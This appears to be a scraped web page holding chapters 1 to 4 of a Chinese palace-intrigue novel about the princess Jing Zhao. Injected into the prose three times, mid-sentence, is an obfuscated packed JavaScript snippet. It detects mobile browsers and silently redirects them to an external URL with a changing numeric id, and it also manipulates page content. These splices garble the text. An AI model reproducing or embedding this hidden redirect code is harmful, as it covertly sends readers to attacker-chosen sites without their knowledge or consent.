《太女》 1. 第一章 启圣五年十一月末，深夜。 临近年节，天寒地冻，深夜的后宫万籁俱寂，仿佛所有人都已经陷入了酣眠。 唯有柔仪殿依旧灯火通明。 柔仪殿的寝殿外，一队太医立在廊下，望着进进出出的宫人们，彼此相顾苦笑，眼底尽是忐忑。 大宫女锦瑟看着他们，急声道：“当真……当真没有办法了？前年冬日公主重病吐血昏迷三日，不还是有惊无险？” 为首的太医硬着头皮道：“锦瑟姑娘，前年冬日柔妃娘娘重病，是因为气血瘀滞，郁结于心，气怒之下吐出那口血，反而疏通了心底郁结。但……但如今娘娘病在肺腑之间，已近油尽灯枯，臣等医术浅薄，实在束手无策。” 锦瑟颤声问：“那还有，那还有多久？” 太医嘴唇发抖，不敢正视锦瑟，嗫嚅道：“臣等无能，娘娘病势危急，也就在……就在这几日了。” 这句话宛如平地惊雷乍起，轰隆劈在了锦瑟头上。 她面色煞白如纸，难以言喻的绝望与悲痛一同涌上心头，随之而来的便是暴怒：“前年公主病重时，你们口口声声推脱是心病，心病还须心药医，非太医之力所能及；如今公主是身病，又说病在脏腑难救。合着身病心病都不归你们管，要你们做什么，不中用的东西！” 宫妃绝不会轻易得罪太医，即使柔仪殿地位特殊，对待太医同样周全。但今日锦瑟哪还顾得上那么多，也不管太医们脸色青白不定，话音落定转身便走。 进殿的瞬间，她抬袖擦掉眼中涌出的泪花，步伐平稳地来到床前，强笑道：“公主，药已经熬上了。” 只说完这么一句话，她便有些忍不住泪水，连忙别过脸，却见一旁侍立的宫人全都低着头，眼观鼻鼻观心，神色非常古怪。 另一名大宫女锦书埋怨地看她一眼，哽咽道：“你声音太大了……” 帷帐内传来轻咳声。 一只雪白消瘦的手掌，从帐中探了出来。 床榻深处，柔妃躺在那里。她的面颊和手掌同样消瘦，面色惨淡，眉眼间萦绕着灰暗死气，任何人都能看出这是油尽灯枯之相。然而她的眼睛依然明亮，依然能看出当年倾国倾城的风姿。 “不要紧。”柔妃说。 她的声音极轻，不知这句话是说给含泪跪倒的锦瑟，还是说给跪坐在榻边的那道小小身影。 那是个年幼的女童，容颜清稚眉目如画，嘴唇紧紧抿着，眼眶红肿，脊背却挺得笔直。 柔妃握住了女儿的小手。 “昭昭，别哭。”她轻声安慰，“生者为过客，死者为归人……死生自然理，消散何缤纷……我很高兴可以解脱，我要去见父皇母后了。” 她的眼底渐渐涌出泪水，遮蔽了明亮的双眼：“母亲只是觉得对不起你，我死了，你哪里还有活路呢？” 殿内传来一声长长的抽泣，不知是锦瑟还是锦书，已经忍不住痛哭出声。 这悲泣一半是为了自己，还有另一半是为了她们看着长大的小郡主。 诚如柔妃所说，柔妃死了，她的女儿哪里还有活路。 皇帝性情残暴，从前他因柔妃以死相逼，不得不将柔妃的女儿留在宫中认作养女，宫中内外称一声柔仪殿皇女。但柔妃一旦薨逝，只怕皇帝转眼便要翻脸无情。 一只柔软的小手落在柔妃脸上，为她抹去了眼角泪水。 “母亲不要担心。”景昭一字一顿道，“女儿宁死，不受折辱。” 柔妃的泪水流得更急更快。 泪眼朦胧中，她含笑点了点头：“也好，也好，你身上流着桓氏与景氏的血脉，性又刚烈不能摧折，与其与我一样在无边地狱里活着受辱，不如我们母女一同上路。” 殿内静默无声，宫女的哽咽声也止住了，寝殿化作静寂的陵墓。在这令人心悸的沉默里，景昭低下头来，将稚嫩面颊贴在母亲沾满泪水的颊边，像一只依赖母亲的幼小雏鸟。 柔妃病势沉疴，说完这些话，再也支撑不住，与女儿依靠在一起，很快沉沉昏睡过去。 即使在昏睡中，她的手臂仍然环抱在景昭肩头，仿佛害怕一睁眼就失去女儿。 待柔妃完全熟睡，景昭睁开眼，小心移开母亲的手臂，翻身下榻。 她越过榻前无声哭泣的宫女，越过廊下忐忑的太医，走向寝殿东侧的暖阁，始终面无表情。 锦瑟锦书面面相觑，锦书顾不得擦泪，连忙追出去。眼看暖阁门窗紧闭，更加担忧，连连拍门：“郡主，郡主！” 一声轻响，门扉洞开。 这扇门原来并没有从内锁死，锦书收势不及，险些直接摔进去。连忙踏进暖阁，回手合上门：“郡主……” 话音未落，锦书看清景昭手中拿着的东西，尾音变调化作惊呼，踉踉跄跄猛扑过去，抬手便去抢夺：“郡主！不能啊！” 景昭平静地道：“别喊。” 她正坐在地上，身侧放着一只锦书从未见过的匣子，手中握着一把短刀。 此刻，她左手执鞘右手执刀，神情平静如常：“锦书姐姐，不要怕，我不是要寻死。” 锦书扑到景昭身前，想要抢夺，又怕争执中伤了景昭，哽咽道：“郡主，公主还在，还没走到山穷水尽的地步，你要是……可怎么好啊！” 景昭耐心地重复道：“我不是要寻死，别急。” 她还刀入鞘，将短刀塞入怀中，拖过身侧的匣子继续翻找，将匣中的东西一一取出，铺在地面上。 锦书怔怔看着景昭的动作，又猛地看向这只陌生的匣子。 这只匣子不大，从前不知景昭将它藏在哪里，锦书居然从未见过。 匣子渐空，地面上一字排开许多东西，有几支打磨异常尖利的发簪、几只太医院盛装丸药的蜡丸、些许看不出用途的零散杂物，居然还有一只异常眼熟的小巧瓷瓶！ 那只瓷瓶锦书认得。 前年，京城传言，前朝驸马景容于江南起兵。及至冬日，又有消息传来，景容被细作刺杀，惨死于江宁城外乌梢渡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845143|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息传入柔仪殿，柔妃从此断绝生念，当即病倒。那时皇帝慕容诩踏进柔仪殿中，将这只盛着牵机毒的瓷瓶放在柔妃面前，对柔妃道，只等柔妃咽气，立刻便将这瓶毒药灌给景昭。 柔妃只求速死，但她仍想保住女儿的性命，故而挣扎着活到了今日，终于支撑不住。 锦书记得，那瓶牵机毒被柔妃当着慕容诩的面掷入殿外湖水，却不知为何今夜又出现在景昭手中。 “郡主。”锦书忽然情不自禁地发起抖来，“郡主这是要做什么？” 景昭抬起头，定定看向锦书。 她的眉眼极为清稚，黑白分明，然而当她开口时，稚嫩的语调冷硬如铁，每一个字都令锦书心惊肉跳。 “荆狄慕容氏窃据北方十二州，杀我外祖桓氏满门，害死父亲、羞辱母亲。古有鲍出救母、缇萦救父，我身为女儿却不孝至极，不能保护母亲，反而使得母亲为了我忍辱负重。而今到了如此境地，若只束手待死，死后亦不能心安。” 巨大恐惧攫住了锦书的心脏，声音颤抖道：“郡主是要，是要……” 弑君刺驾的话从幼小女童口中说出，活像一个并不好笑的笑话。然而锦书看着面前景昭挺直的脊背，毫不怀疑她真的敢于拼死一搏。 景昭道：“母亲死后，我一定会死。与其束手待死，何如拼死一搏？此事本无半分胜算，但我竭尽全力，死后亦可坦然面对父母先祖，也算不辱没景氏与桓氏的祖宗声名。” “锦书姐姐。”她无波无澜地看着锦书，眼底倒映出对方恐惧扭曲的脸，“慕容诩生性残暴杀人如草，一定会杀掉柔仪殿上下所有人为母亲殉葬，你若能鼓起勇气，可与我一道；若不敢动手，请守口如瓶。” 巨大的恐惧里，锦书耳畔轰鸣作响，眼前昏黑一片。然而景昭的话掷地有声，每一个字都无比清晰地落在她耳畔。 片刻的静默里，锦书神思昏乱，双手剧烈颤抖，甚至不知道自己准备干什么，却仍然缓慢地探出，最终握住了地上一根尖锐的簪子。 景昭低头，将其余物品一一收回匣中，唯有短刀仍然藏在衣襟内。 她站起身，抱着那只毫不起眼的匣子，开口欲言。 下一秒，变故骤生。 轰隆！ 远处传来巨响，隔着数间宫室远远传来，仍然震耳欲聋。 那巨响有如九天雷霆当头而下，仿佛连大地都在摇撼震颤，景昭愕然抬首，只听纷乱足音由远及近，咣当撞开了暖阁门扉！ . “殿下！” 景昭骤然睁开眼。 梦里梦外两道声音一字不差完全重合，令她刹那间神思恍惚，几乎分不清自己身在何处。 她低下头，望见自己玄色衣摆以金丝银线细密绣着繁复龙纹，日光照在上面，映出涌动的流光，仿佛那些龙纹变成了活的。 景昭终于清醒过来。 而今是大楚建元十年。 距离魏朝启圣五年的那个冬日，已经过去了整整十年。 2. 第二章 初春午后的日光仍旧淡薄，风也并不温暖。东宫的宫女们还穿着清一色的浅碧薄袄，像是庭前小树新长出的嫩芽。 她们小心翼翼地行走在明德殿外，内外寂静无声，生怕惊动殿内午睡的皇太女殿下。 直到穆嫔身边的宫人一头撞进殿门，打破了明德殿内外的宁静。 “殿下！太后心痛发作，又昏厥过去了！穆嫔命奴婢来请殿下。” 不待那宫人说完，景昭已经全然清醒过来。 她吩咐道：“备车。” 明德殿的宫人们匆忙上前，替景昭整理仪容。 太女的车驾已经备下，景昭向外走去，问那名前来报信的宫人：“传太医了？” “奴婢出来时，华阳宫正派人急召太医。”宫人顿了顿，又补充道，“这个月太后已经发病五次了，一次比一次急，瞧着不太好。” 自从建元五年太后幼子礼王坠马身亡，太后哀伤过度病倒，从此落下了胸痹心痛的病根。从此之后每逢冬日，太后都要病一场，久而久之，所有人都习以为常。 去年暮秋，太后再度卧病。这次病势格外危急，最严重时胸痹频发心痛不止，一日之内昏厥数次，甚至为此取消了过年时的命妇朝拜。 消息传出，不但京城贵胄惴惴不安，生怕太后薨逝在寒冬腊月，全家要顶着狂风大雪进宫哭临，就连景昭也提心吊胆，担忧太后当真熬不过去。 好在宫中珍奇药物无数，又有太医妙手回春。太后此次发病虽重，却终究顽强地熬过冬日，熬到了建元十年初春，令所有人都松了口气。 太女车驾停在华阳宫外。 庭院内人来人往，每个人的脸上都带着不易察觉的紧张和愁苦。檐下摆着数只煎药的泥炉，袅袅白烟升腾而起，整座庭院里充斥着苦涩的气味。 见太女驾临，宫女内侍纷纷拜倒，七嘴八舌请安：“拜见殿下！”“殿下安好。”“殿下金安！” 檐下泥炉前一名雪青衣裙的女子直起身，匆匆迎上来行礼：“殿下。” 她举止端庄，裙角却沾染了一片显眼的褐色药渍，起身时格外瞩目。景昭顺手扶住她，止住行礼的动作：“穆嫔，你这是怎么了？” 穆嫔不是天子妃嫔，而是太子嫔穆氏的简称。 大楚参照齐朝，东宫正妃以下设有两嫔，位份待遇等同侧妃。皇太女尚未大婚，东宫没有别的妃妾，当今皇帝后宫空置，宫中亦无其他嫔妃，久而久之，宫内宫外索性直接称穆氏为穆嫔。 穆嫔低头歉疚道：“妾身愚笨，上午侍奉太后娘娘服药时，动作迟缓笨拙，惹了太后娘娘不悦……妾心下愧疚，所以自请出来煎药。” 景昭淡声道：“皇祖母凤体违和，你来替我尽孝，反而要皇祖母撑着病体费心教诲？进去磕个头，明日不必来了，省得添乱。” 穆嫔眼眶恰到好处地红了：“妾惭愧。” 景昭疾步入殿，毫不理会纷纷请安的众人，来到太后床前：“皇祖母醒了吗？” 刘太医正愁眉苦脸又低眉顺眼站在床榻前的屏风外面，闻言连忙道：“回殿下，太后娘娘发病虽凶险，但幸好施救及时，微臣已经为太后娘娘施针，想来不出一个时辰，太后娘娘便能醒来。” 景昭眉头微蹙：“皇祖母为何频频发病？” 刘太医道：“太后娘娘的胸痹之症最忌情绪起伏，忽冷忽热，今日天气忽然转凉……” 景昭毫不讲理：“本宫不通医术，你不必说这些，只说这病如何才能根除？” 刘太医欲言又止，脸上简直写着一个头两个大，偏偏不能反驳，只好委婉道：“胸痹素来难以根除，兼之太后殿下又有血痹，常常气虚无力、血滞脉涩……” 他洋洋洒洒说出一串症状，听上去仿佛太后今晚就要驾鹤西去，然后才说：“所以有许多药都不能用，只能慢慢温养。” 景昭继续道：“那为何你们温养了这么久，不但没有半点效果，皇祖母病情越来越重，发病越来越频繁？” 刘太医的表情看上去像是快要哭出来了，又像是想要当场一头撞死。 床榻上忽然传来一声虚弱的呛咳。 不知是谁反应最快，惊叫一声：“太后醒了！” 刹那间所有人一拥而上，有人顺气有人端水，争先恐后围拢到太后床前，还都极其识趣地为景昭空出了正中间的一片宝地。 支支吾吾的刘太医顿时被忘在一边。 “皇祖母！”景昭唤道。 太后双手无力地颤抖，握住了景昭的手。 她脸色憔悴惨淡，声音有气无力：“好孩子，你怎么过来了。” 一句‘好孩子’，跟在后面的穆嫔顿时寒毛倒竖。 景昭若无其事地忧急道：“听说皇祖母发病，孙女心中十分焦急，过来看看才能放心。皇祖母，您现在感觉怎么样？” 太后张口欲言，又咳嗽起来，咳得像是要断气。 待咳嗽止住，她才握住景昭的手：“哀家年纪大了，怕是快要到地下侍奉文庄皇后了。” 这话固然是真的，但无论如何不能顺着说下去，景昭立刻道：“这等晦气的话，皇祖母不要说。” 太后灰暗的面容上，浮现出一缕画皮女鬼般的慈祥笑意，使人心里发毛。 “自己的身体自己知道，哀家大限将至，好在这辈子享尽富贵，不亏。” 旁边传来低低的啜泣声，景昭只作未闻：“是谁在皇祖母面前信口胡说，哪有那么严重。皇祖母仔细调养，不要动气，定能长命百岁——” “对了。”不等太后接话，景昭瞟一眼站在身后不远处的穆嫔，“穆氏愚笨，非但不能替孙女尽孝，还要皇祖母费心调教，实在是不成体统。孙女已经命她回宫禁足，好好学一学规矩。” 太后唇角的笑容僵住。 景昭满脸担忧，诚恳无比，活生生一个孝顺至极的孙女模样。然而太后看着她那双明亮的眼睛，心底却无端觉得不安，原本到了唇边的话卡在嗓子里，变成一阵剧烈的呛咳。 一旁有人奉上汤水，景昭接过来不由分说喂了太后两口，又随手递回去。 “不是什么大事。”太后断断续续地说，“穆氏来不来都无妨，你的孝心哀家知道，哀家只有一件心事。” 景昭说：“请皇祖母吩咐。” 太后黯淡的眼睛里忽然滚下两滴泪来：“哀家这辈子只有两个儿子，三个孙儿孙女。礼王走得早，可怜煜儿小小年纪没了父亲，我这个做祖母的身体不争气，不能多照看他几年，现在哀家大限将至，到了地底下见到礼王，总不能连煜儿的模样都说不出来——告诉皇帝，我这个做娘的求他，叫煜儿进宫陪我，否则哀家死了都无颜见礼王——算哀家求他。” 太后吐出那个求字的瞬间，景昭已经跪了下去：“皇祖母何出此言，孙女这就去禀奏父皇。” 皇太女离座跪倒，殿内哪里还有人敢站着，人人紧随其后，顷刻间哗啦啦跪倒一片，仿佛麦田里割倒的麦子。 “好，好。”太后艰难道。 毕竟年迈卧病，太后昏厥方醒，能条理清晰说出这么长一段话实属不易，鬓边渗出细密汗珠，喘息半晌，强撑着眼前发黑，道：“还有。” 景昭配合地侧首，作恭敬倾听状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845144|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是哀家的错，哀家当年伤心礼王的死，胡言乱语说错了话，伤了皇帝的心，致使我们母子生疏多年。他也是哀家肚子里爬出来的亲骨肉，哀家待他和礼王是一样的，当年那些都是气话……太女，你去告诉皇帝，哀家有三个孙儿孙女，可只剩他一个儿子了，哀家想见见自己的儿子。” 穆嫔正跪在景昭身后，闻言打了个哆嗦。 太后性格高傲独断，她进东宫三年，从来没见过太后的好脸色，更遑论如今日这般近似哀恳，而今不觉得感动，只觉得毛骨悚然。然而她往左一看，同来侍疾的礼王妃掩面哭泣；往右一看，礼王之女云华郡主泪如雨下。 正当穆嫔无所适从，前方景昭的声音响起，隐带哽咽：“皇祖母误会了，父皇纯孝，日夜牵挂皇祖母病情，只是如今北边正对荆狄用兵，军情如火难以分心，绝无半分怨怪之意。” 祖孙二人相对落泪，场面极为感人。 . 殿门外寒风又起，呼啸徘徊，久久不散。 阶下宫人只觉眉心一凉，抬起头来，春雨连绵落下，在天地间织成了一张透明的网。 皇太女的车驾离开华阳宫，渐行渐远，消失在细密的雨幕里。 雨丝敲打着车顶，簌簌雨声中，穆嫔轻声问：“殿下，妾明日真的不去华阳宫侍疾？” “不用去了。” 穆嫔迟疑着说：“可是礼王妃与云华郡主侍奉于太后床前，太后还要召礼王世子进来。妾如果不去，宫里和东宫没有一个侍疾的人，是不是对殿下名声不利？” 景昭翻阅着一本泛黄的古籍，平静说道：“你要是去了，恐怕回不来了。” 穆嫔一怔，直起身：“殿下此言何意？” 景昭并不多言，淡声道：“从明日开始，你就待在东宫里，约束好身边的侍从不得外出，如有违者，立刻发落回掖庭。” 伴随着景昭的话，穆嫔脸色慢慢变了。 她心性灵敏，入宫后也曾读过史书，顿时想起自己曾经看过的许多故事，生出很多天马行空的可怕猜测：“难道、难道太后装病？” “那倒不至于，不过……从重病到濒死，其间有一段距离。偏偏这段距离，太医很难明确界定。” 穆嫔觉得自己好像懂了，心中却更加忐忑不安，她颤声问：“那……太后娘娘到底想干什么呀！” 景昭终于放下书册。 午后梦中的种种情景似乎又浮现在眼前，她神情渐淡，一哂道：“本宫十年前就用过的把戏而已。” 十年前？ 穆嫔竭力回想，却百思不得其解，又不敢轻易发问。 十年前魏朝覆灭，短短五年的国祚一朝终结。大楚立国，皇帝登基，年号建元，同日追封爱妻为文宣皇后，立膝下年幼独女景昭为东宫皇储。 这一桩桩一件件大事，太女究竟指的是什么？ 景昭抬眼，眼风掠过穆嫔迷茫疑惑的面容，却并没有解惑的意思。 她唇角微扬，微嘲想着：十年前自己七岁，身陷险境四面楚歌，所以做出了行险的选择。 那太后呢，她又是为了什么？ 车驾忽然停住。 “你先回去。”景昭道。 穆嫔微怔，挑起车帘朝外一瞥，看见面前熟悉的、通往东宫的宫道。 “妾先回去？那殿下呢？” 景昭道：“你想随本宫去明昼宫面圣也可以。” 穆嫔连忙住嘴，忙不迭地提裙告退，飞快逃走了。 细雨里穆嫔带着宫人撑伞远去，景昭放下车帘，平静吩咐道：“去明昼宫。” 3. 第三章 明昼殿修建于齐朝太/祖年间。 这座宫室不在皇宫的中轴线上，而是稍稍偏西一些。因为落成之初，它的用途并不是天子居所。 齐朝年间，桓氏天子的起居之所一直是明昼殿以东的庆云宫。这两座宫室一同落成，近在咫尺，名字共同取自齐朝太/祖极为有名的一句诗——庆云开霁,清华明昼,殿阁风度薰弦。 宫室落成之初，庆云殿专供天子起居宴饮，明昼殿则用于临时处理政事、接见臣僚、休闲游乐。 到了齐朝末帝当政时，帝后琴瑟和谐恩爱非常，郑皇后迁居庆云宫，末帝索性连明昼殿也不去了，政务琐事只在庆云宫中一并处置，夫妻同起同居一刻不离，当时传为佳话。 末帝与郑皇后生有一双子女，长子立为太子，幼女封为长乐公主。长乐公主自幼深受宠爱，帝后二人精心择婿，最终挑选了齐朝声名最盛的少年名士、江宁景氏风仪无边的少年公子景容，意欲促成另一段佳话。 长乐公主下嫁后，夫妇二人都擅诗文、精音律、好探幽寻胜、好舞乐游春，倒确实如帝后所愿，促成了熙庆年间另一段世人交口称赞的姻缘。 直到齐朝熙庆十五年，南涝北旱，天灾频起，关外异族荆狄趁势南下。直至冬日，大军兵临城下，末帝自知无力回天，于庆云宫自刎，郑皇后服毒殉死。至此齐朝覆灭，魏朝始立。 关于荆狄南下的惨痛往事，朝野民间多有传闻。据说荆狄一族虎视眈眈，多年前便陆续派了许多探子潜入齐朝打探情报，连镇守边境的将领都受其重金贿赂策反，早已放松了警惕，不料荆狄突然举兵来攻，一夕之间北方局势骤变。 还曾有一种更为荒谬的传言，说魏朝开国皇帝慕容诩曾经亲自潜入齐朝担任细作，甚至一度混入禁军，当上了长乐公主府的禁卫。 那年深秋，江宁景氏的老夫人过世，这位老夫人代替早逝的丈夫与儿子执掌家族多年，声名德行远扬，更是教养景容长大的亲祖母——皇帝登基后追封祖宗，将她追封为文庄皇后。 长乐公主金尊玉贵娇弱非常，又有年方两岁的女儿需要照顾。景容将妻女留在京中，孤身千里赶回奔丧，岂料方至江宁，快马八百里加急带来噩耗。 ——齐朝覆灭，北方十二州落入荆狄之手。 同年十二月，荆狄慕容氏首领慕容诩于京城登基为帝，改国号为魏。 慕容诩诛杀了桓氏皇族所有人，上至齐朝太子，下至宗室远支刚出生的襁褓幼儿，唯独留下了长乐公主。 那时景昭还很幼小，许多事情记不住也无法理解。但她至今仍然记得，在记忆深处那个兵荒马乱的雪夜里，母亲全身是伤、狼狈不堪地从庆云宫回来，甫一进门便跌倒在地，拥住她撕心裂肺地痛哭。 第二日，圣旨通传天下，慕容诩册立长乐公主为柔妃，赐居柔仪殿。 十年前的另一个雪夜里，垂死的母亲跌落下来，双手沾满鲜血，长剑锵啷落地，像一只从枝头无力坠落的濒死蝴蝶。她抬起眼，望着庆云宫锋锐的飞檐，凄惶说道：“我父皇母后的地方已经被弄脏了，这里不好，我不要在这里。” 然后她合上眼，气息断绝，死在魏朝覆灭的最后一个晚上，大楚立国的前一个夜里。 在那个夜里，庆云宫被一把大火烧为平地。 . “殿下。” 皇帝身边的内侍梁观己迎上来，打断了景昭的思绪。 “圣上正在后殿静修。”梁观己陪着笑道，“您是知道的，奴婢们从来不能打扰。” 景昭颔首，提起袍角拾级而上，径直越过梁观己，走进了面前这座寂静幽深的宫殿。 越过正殿上方‘清华明昼’的牌匾，后殿殿门近在眼前。 景昭抬手笃笃笃敲了三下，一个低而凉、清而淡的声音缥缈地传来：“进来。” 于是景昭推门而入。 暖意扑面而来，夹杂着幽幽香气，殿中博山炉上方袅袅烟雾升腾，层层及地纱帘掩映，其后隐隐露出一张青白二色的玉石屏风。 屏风后无比空旷，无数双点漆般动人的眼眸从四面八方投落目光，静静注视着蒲团上端坐的皇帝。 皇帝端坐在满地玉屑之上，端坐在满壁画像之间，他背对着屏风，面前则是一尊近人高的白玉雕像。 玉像尚未完工，只刻出了半身，但手法极其细致，连耳下明珠、衣袂褶皱都栩栩如生纤毫毕现。更重要的是，雕像有一双很美的眼睛。 转眄流精，顾盼生情。 美得不像是死物，而像是一位活生生的人。 玉像细腻温润，平滑如镜，所用乃是最上乘的羊脂白玉。单以玉像的大小来说，这块玉料便可价值连城。 按理来说，这样好的玉料举世难求，理应交给世间最好的工匠精雕细琢。若由寻常外行人胡乱动手，等同于暴殄天物，不啻于煮鹤焚琴。 然而此刻看着这尊雕了一半的玉像，即使是殿中省最好的工匠，恐怕也要掩面羞愧。 因为雕这尊玉像的人虽然不是工匠，但更不是寻常人。 当他做名士时，他是天下第一名士；当他做反贼时，他能杀入皇城登基为帝；当他做皇帝时，他使北方海清河晏，重塑十二州河山。 那么当他起意做工匠时，他自然便是天下最好的工匠。 皇帝手下不停，直到细致地刻好玉像衣摆一处纹理，方才放下刻刀，转过头来：“下雨了？” 他的头发只用一根素银簪挽住，宽大的素白布衣轻轻飘荡，与景昭五分相似的文秀面容无喜无悲，静若平湖。 景昭低头，衣角沾着一点极小的水迹，只是玄色云缎一旦打湿就会变深，格外显眼。 她一拂衣摆，勾过另一只蒲团坐下：“雨不大，民间说春雨贵如油，看来今年运气不坏，秋收能有个好收成。” 皇帝道：“下雨了你还过来做什么。” 从景昭离开华阳宫到现在， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845145|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中间没有耽误半点时间，然而皇帝却似乎对华阳宫中发生的一切都已经了然于心。 景昭对此毫不奇怪，在她看来，京中没有什么事能够瞒过皇帝，关键只在于皇帝关不关心而已。 景昭道：“礼王世子虽是宗室，更是外臣，还是父皇亲自下旨命他入宫吧，太后这次是真的病重，撑不了几天了。” 皇帝漫不经心道：“也好。” 他的态度凉薄异常，全然不像谈及亲生母亲的生死大事，更无半分悲痛不舍。 景昭对此不以为异，相反，说完太后将死的消息，她反而露出近似于松了口气的表情，像是即将了却一桩心事、甩脱一个麻烦。 ——当年皇帝登基，下的第一道旨意是追封爱妻为文宣皇后，丧仪风光前所未有。第二道旨意便是册封膝下独女景昭为皇太女，一意孤行不纳谏言。 彼时朝中反对的浪潮此起彼伏，朝臣再三上书恳求皇帝选后纳妃开枝散叶。见皇帝毫不理睬，竟有朝臣联袂上书，劝谏皇帝改立同母胞弟礼王为皇储。 立储风波愈演愈烈，前朝风波未平之时，建元二年新年大典，命妇入宫朝见太后时，太后居然当众问起朝上的立储风波，并且在命妇们支支吾吾不知如何作答时，说了句：“都是忠心可靠的臣子。” 百官劝谏皇帝改立礼王，而太后公开赞扬忠心可靠，言下之意不问而知。此后，太后又突然提议，想要将礼王世子景煜接进宫来和景昭一起读书，理由是两个孩子只差数月，一起读书更显亲近。 太女身份尊贵，乃国之储君，即使皇子也不能与储君一同读书，更遑论区区亲王世子。 皇帝不允，太后日趋冷淡，以实际态度向皇帝表示不满，简直是恨不得给皇帝乃至年幼的景昭扣上两顶不孝的帽子。 立储风波很快平息，但太后始终没有放弃，尽管她的努力除了添乱没有任何用处。直到建元五年，礼王意外坠马身亡，太后悲愤不已，认定礼王之死是皇帝下手铲除威胁。 在那之后，景昭险些遭遇一次凶险。然而皇帝早有准备，他下旨说礼王世子年纪尚幼，该等到年满二十再继承王位，连带着年纪更小的云华郡主也被一并卡住，出嫁之前都拿不到封号与食邑。 卡住礼王一双儿女，等同于卡住了太后的命门，令她不得不安分下来，但此后景昭再也没见过太后半个和风细雨的脸色，每次去向太后请安，只在宫院内遥遥一拜，都能清晰感觉到窗中投来怨怒无限的目光。 皇帝道：“你把穆氏打发回去了？你也不要去。” 景昭一怔：“总要做些面子功夫。” “面子功夫不是做给将死之人看的，没有这个必要。” 景昭只好点头：“那我不去了。” “再者。”皇帝慢慢道，“景煜张狂又软弱，景云华心狠却愚蠢，太后从来神志不清，王氏不可尽信。” 他简洁地收尾：“疯子与蠢货扎堆出现的地方，离得远点。” 4. 第四章 二月初一，礼王世子景煜进宫侍疾。 宫禁森严，即使礼王世子是太后嫡亲孙辈，碍于内外不相通的宫规铁律，亦不能长久停留内宫，除非皇帝愿意为他破例——然而过去种种迹象表明，这个亲侄儿在皇帝心中的分量显然没有多重。 正因如此，随着礼王世子入宫的消息传来，京城上下很快得出了一个完全相同的结论。 ——太后快要死了。 对于绝大部分人来说，太后的生死其实并不重要。因为她没有文庄皇后当年执掌江宁景氏的手腕与魄力，也没有文宣皇后的高贵身世与惨痛经历，影响更是几乎为零。 深冬时百官无比关心太后凤体，那是因为太后薨逝百官需要携家眷入宫哭临三日，养尊处优的贵胄在数九寒天里哭足三日，可能真的会追随太后而去。等到冬去春来天气渐暖，众人也就不太关心太后生死了。 当然，太后生死仍然重要，哪怕这位太后居于深宫、不问朝政，也依然是一件极大的事。 之所以朝野乃至民间对此表现出漠不关心的态度，是因为现在还有一件比太后重要千百倍的大事。 ——北方在用兵。 从很多年前开始，荆狄一族就活跃在北方关外草原上，屡屡犯边劫掠，偏又行迹难测来去如风，始终是中原最大的威胁。直到齐朝末帝年间，荆狄势力最强的慕容氏一脉大举南下，将桓氏皇族屠戮一空。 然而遭受屠戮的何止桓氏皇族，北方十二州无论富贵贫贱，凡是荆狄所过之处，一视同仁难以幸免。北方士族居于首位的穆、王、郑、梁四姓高门被杀得七零八落，直接斩断了北方士族的元气；寻常人家更是凄惨，不说家家戴孝，也是死伤难以计数。 十年前皇帝率军北归，收复疆域重整河山，将荆狄慕容氏尽数处死。然而荆狄并非只有慕容氏一脉，边关仍然不得安宁。 去年春日，朝中开始对关外大举用兵。 这次不同以往，领兵的是军中柱石谈国公，调动兵马二十余万，粮草军械不计其数，活生生掏空了家底。 这是真真正正的决死一战，朝廷下定决心要毕其功于一役，压上大楚立国十年攒下的全部积淀。若胜，几十年内再无犯边之祸；若败，从此天子威信扫地，朝廷元气大伤。 开战以来，大楚胜多败少，捷报频传。但到了去年冬日，边关天寒地冻作战困难，谈国公不得不暂将兵马撤回城中，等待春日冰消雪融。 只是建元十一年的春日早已到来，边关的战报却迟迟未到。 荆狄肆虐北方十二州，只在十年之前，人们尚且不能忘却刻骨铭心的惨痛经历。 没有人希望噩梦重演，因此所有人都紧张不已地看着最北边。 京城始终淹没在焦灼的氛围里，连绵的春雨也断断续续下了数日。 午时将近，景昭才散朝回到明德殿，一进殿信手撂下头上的远游冠，宫女们连忙围上来替皇太女除去繁复朝服，换上杏黄常服。 承书女官在一旁禀报：“殿下，刑部右侍郎李晖、御史中丞常明易递帖求见；东宫司直赵玉山、左庶子薛兰野等六名东宫属官等候召见；还有三司联合递上来的十二本案卷尚未批示……” 景昭道：“都先等着。” 承书女官领命，旋即又道：“方才穆嫔主子过来求见，正在小厅里等着。” 景昭微一思忖：“叫她过来。” 穆嫔来得很快，檐外细雨朦胧，她衣裙未湿，颊边却沾染了一点朦胧的水汽：“殿下金安。” 景昭问：“有事？” 